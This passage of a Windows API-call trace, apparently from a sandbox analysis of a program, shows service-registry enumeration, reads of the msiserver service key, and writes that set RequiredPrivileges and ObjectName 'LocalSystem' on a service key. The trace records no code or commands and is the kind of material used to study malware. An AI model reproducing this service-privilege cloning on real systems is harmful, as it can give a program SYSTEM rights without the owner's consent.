lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0251.313] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0251.313] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0251.313] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0251.313] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0251.313] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0251.313] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0251.313] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0251.313] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0251.313] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0251.313] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0251.313] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0251.313] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0251.313] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0251.314] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0251.314] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0251.314] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0251.314] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0251.314] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0251.314] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0251.314] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0251.314] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0251.314] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0251.314] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0251.314] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0251.314] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0251.314] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0251.315] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0251.315] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0251.315] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0251.315] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0251.315] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0251.315] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0251.315] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0251.315] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0251.315] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0251.315] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0251.315] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0251.315] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0251.316] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0251.316] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0251.316] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0251.316] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0251.316] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0251.316] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0251.316] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0251.316] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0251.316] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0251.316] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0251.316] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0251.316] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0251.316] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0251.317] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0251.317] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0251.317] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0251.317] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0251.317] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0251.317] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0251.317] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0251.317] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0251.317] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0251.317] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0251.317] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0251.317] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0251.317] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0251.318] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0251.318] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0251.318] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0251.318] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0251.318] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0251.318] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0251.318] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0251.318] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0251.318] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0251.318] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0251.318] RegCloseKey (hKey=0xc4) returned 0x0 [0251.318] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0251.318] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0251.318] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0251.319] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0251.319] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0251.319] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0251.319] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0251.319] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0251.319] RegCloseKey (hKey=0x80000002) returned 0x0 [0251.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0251.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0251.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0251.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0251.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0251.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0251.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0251.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0251.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0251.320] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0251.320] RegCloseKey (hKey=0x148) returned 0x0 [0251.320] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0251.320] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0251.320] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0251.320] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0251.320] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0251.320] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0251.320] RegCloseKey (hKey=0xc4) returned 0x0 [0251.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0251.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0251.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0251.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0251.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0251.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0251.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0251.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0251.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0251.321] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.321] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.321] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.321] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.322] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.322] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.322] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.322] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.322] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.322] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.322] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.322] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.322] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.322] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.322] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.322] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.323] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0251.323] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0251.323] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0251.323] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0251.323] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.323] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.323] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.323] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.323] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.323] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.323] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.323] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.324] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.324] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.324] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.324] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.324] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.324] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.324] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.324] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.324] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0251.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0251.324] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0251.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0251.325] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.325] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.325] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.325] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.325] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.325] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, 